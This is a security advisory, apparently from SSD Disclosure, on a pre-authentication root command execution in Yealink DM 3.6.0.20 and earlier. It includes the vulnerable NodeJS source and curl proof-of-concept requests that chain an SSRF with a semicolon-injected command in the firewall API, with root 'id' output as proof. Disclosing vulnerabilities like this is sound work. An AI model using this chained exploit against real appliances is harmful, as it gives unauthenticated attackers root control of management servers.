# SSD Advisory - Yealink DM Pre Auth 'root' level RCE February 23, 2021 [SSD Disclosure / Noam Rathaus](https://ssd- disclosure.com/author/noamr/ "Posts by SSD Disclosure / Noam Rathaus") [Uncategorized](https://ssd-disclosure.com/category/uncategorized/) **TL;DR** Find out how multiple vulnerabilities in Yealink DM (Device Management) allow an unauthenticated attacker to run arbitrary commands on the server with root privileges. **Vulnerability Summary** [Yealink DM](https://www.yealink.com/products_108.html) (Device Management) platform - "offers a comprehensive management solution with key features Unified Deployment and Management, Real-Time Monitoring and Alarm, Remote Troubleshooting. Several vulnerabilities in the Yealink DM server allow remote unauthenticated attackers to cause the server to execute arbitrary commands due to the fact that user provided data is not properly filtered. **CVE** CVE-2021-27561 and CVE-2021-27562 ****Credit**** Two independent security...
# SSD Advisory - Yealink DM Pre Auth 'root' level RCE February 23, 2021 [SSD Disclosure / Noam Rathaus](https://ssd- disclosure.com/author/noamr/ "Posts by SSD Disclosure / Noam Rathaus") [Uncategorized](https://ssd-disclosure.com/category/uncategorized/) **TL;DR** Find out how multiple vulnerabilities in Yealink DM (Device Management) allow an unauthenticated attacker to run arbitrary commands on the server with root privileges. **Vulnerability Summary** [Yealink DM](https://www.yealink.com/products_108.html) (Device Management) platform - "offers a comprehensive management solution with key features Unified Deployment and Management, Real-Time Monitoring and Alarm, Remote Troubleshooting. Several vulnerabilities in the Yealink DM server allow remote unauthenticated attackers to cause the server to execute arbitrary commands due to the fact that user provided data is not properly filtered. **CVE** CVE-2021-27561 and CVE-2021-27562 ****Credit**** Two independent security researchers, Pierre Kim and Alexandre Torres, have reported this vulnerability to the SSD Secure Disclosure program. **Affected Versions** Yealink DM version 3.6.0.20 and prior **Vendor Response** "For the YDMP new version release, we don't send a notification to the public, since we don't force the customer to upgrade. We will release a new version and upload the installation file to the official Yealink website and update the release note as well. The update will be ready to download from our website in early 2021″ **Vulnerability Analysis** By chaining a pre-auth SSRF vulnerability and a command injection vulnerability, it is possible to execute commands as root without authentication against this product, by sending a simple HTTPS request to the remote target. **Nginx configuration** By default, Nginx listens on port 443/tcp to provide TLS connectivity: ``` # netstat -nlapute|grep 443 tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 0 16290 1180/nginx: master ``` By analysing the configuration of Nginx, it appears Nginx acts as a reverse proxy and the traffic to / is sent to 127.0.0.1:9880/tcp: ``` # cat /usr/local/yealink/nginx/conf/http.conf.d/yealink.conf [...] upstream server_frontend_manager { server manager-master:9880 weight=1 max_fails=5 fail_timeout=10s; } [...] location / { proxy_pass https://server_frontend_manager; } ``` be used to send a specific request to a vulnerable NodeJS application. **NodeJS acting as a relay** The NodeJS dmweb application is running as _yealink_ on 127.0.0.1:9880/tcp: ``` # netstat -lapute | grep 9880 tcp 0 0 0.0.0.0:9880 0.0.0.0:* LISTEN yealink 21200 2789/node # ps -auxww | grep 2789 yealink 2789 0.4 0.3 1306416 53172 ? Ssl 05:31 0:02 /usr/local/yealink/nodejs/bin/node /usr/local/yealink/dmweb/app.js ``` The _/usr/local/yealink/dmweb/app.js_ program is running on the loopback interface but is reachable from Nginx. **Analysis of _/usr/local/yealink/dmweb/app.js_** This application is a nodejs application with some dependencies. The interesting code is located in _/usr/local/yealink/dmweb/api/index.js_ ``` 17 module.exports = app => { 18 app.use('/premise', router); 19 }; [...] 217 router.get('/front/getPingData', (req, res) => { 218 // res.send({"ret":1,"data":"PING www.baidu.com (14.215.177.38): 56 data bytes\n64 bytes from 14.215.177.38: seq=0 ttl=54 time=15.084 ms\n64 bytes from 14.215.177.38: seq=1 ttl=54 time=15.888 ms\n64 bytes from 14.215.177.38: seq=2 ttl=54 time=15.742 ms\n64 bytes from 14.215.177.38: seq=3 ttl=54 time=15.622 ms\n64 bytes from 14.215.177.38: seq=4 ttl=54 time=16.384 ms\n\n--- www.baidu.com ping statistics ---\n5 packets transmitted, 5 packets received, 0% packet loss\nround-trip min/avg/max = 15.084/15.744/16.384 ms\n","error":null}) 219 // return; 220 try { 221 let url = req.query.url; 222 // ��telnet�����pos���ping�trace����������端�����pos��以�并�pos传�� 223 let pos = req.query.pos; 224 console.log(`url===${url}`); 225 let headers = { 226 'Content-Type': 'application/json', 227 'User-Agent': req.headers['user-agent'], 228 'x-forwarded-for': commom.getClientIP(req), 229 token: req.session.token 230 }; 231 request.get({ 232 url: url, 233 headers: headers, 234 timeout: 60000, 235 qs: { 236 pos: pos 237 } 238 }).pipe(res); 239 } catch (e) { 240 console.error(e); 241 res.send( 242 errcode.MakeResult( 243 errcode.ERR, 244 e, 245 errcode.INTERNAL_ERROR, 246 'server.common.internal.error' 247 ) 248 ); 249 } 250 }); ``` One line 17, there is a route defined for _/premise_ , allowing to reach additional APIs. On line 217, there is a definition for the API _/premise/front/getPingData_. This function is vulnerable to SSRF:From line 217, it appears it is possible to send a HTTP request by defining an URL in GET (on line 232 from the value defined on line 221 from _req.query.url_ ) with specific headers (line 233, from value provided on line 227) and a new HTTP/HTTPS request will then be sent to the remote attacker-controlled URL. PoC is: ``` curl -v --insecure "https://[target]/premise/front/getPingData?url=http://url/" ``` This is a basic pre-authenticated SSRF vulnerability allowing to reach internal daemons. **_smserver_ daemon running as root on 0.0.0.0:9600/tcp** By default, the program _smserver_ runs as root on 0.0.0.0:9600/tcp but firewall rules don't allow external connections to this daemon. ``` # netstat -laputen|grep 9600 tcp 0 0 0.0.0.0:9600 0.0.0.0:* LISTEN 0 19775 1244/smserver # ps -auxww|grep smserver root 1244 1.6 0.2 1166932 34160 ? SNl 05:28 0:26 /usr/local/yealink/smserver/bin/smserver -nc -run /var/run/yealink/smserver ``` _smserver_ is a HTTP server. The previously found SSRF provided by the NodeJS server will provide a relay to send requests to the _smserver_ as shown below: ``` kali$ curl --insecure "https://192.168.23.105/premise/front/getPingData?url=http://0.0.0.0:9600/" {"reason":{"module":"SmServer", "cause":404, "text":"URL NOT FOUND"}} ``` By reversing this binary, we found a command injection in the _fw_restful_service_get()_ function located in the module _/usr/local/yealink/smserver/mod/mod_firewall.so_ :  In the function _fw_restful_service_get()_ , the value for the GET variable _zone_ is retrieved by the function _fw_restful_get_arg_by_key()_ on line 16, then there is a construction of arguments on line 22 using _snprintf(3)_. Finally there is a call to _fw_do_cmd()_ with the crafted command on line 27. The _fw_do_cmd()_ is just a wrapper to _popen(3)_. To reach this API, we need to send this HTTP request: ``` https://127.0.0.1:9600/sm/api/v1/firewall/zone/services?zone=;PAYLOAD; ``` The resulting command running as root will be: ``` # firewall-cmd --zone=;PAYLOAD; --list-services ``` **Construction of the final exploit** The final path of exploitation is: Nginx -> NodeJS -> smserver By combining the SSRF and the injection, the final exploit is: ``` kali $ curl --insecure "https://192.168.23.105/premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;PAYLOAD;" ``` *;PAYLOAD;* will be executed as root without authentication on the target. Example with */usr/bin/id*: ``` kali $ curl --insecure "https://192.168.23.105/premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;/usr/bin/id;" {"list":["uid=0(root)","gid=0(root)","groups=0(root)","context=system_u:system_r:unconfined_service_t:s0"]} ``` The command was executed as root on the appliance without authentication. **Demo** 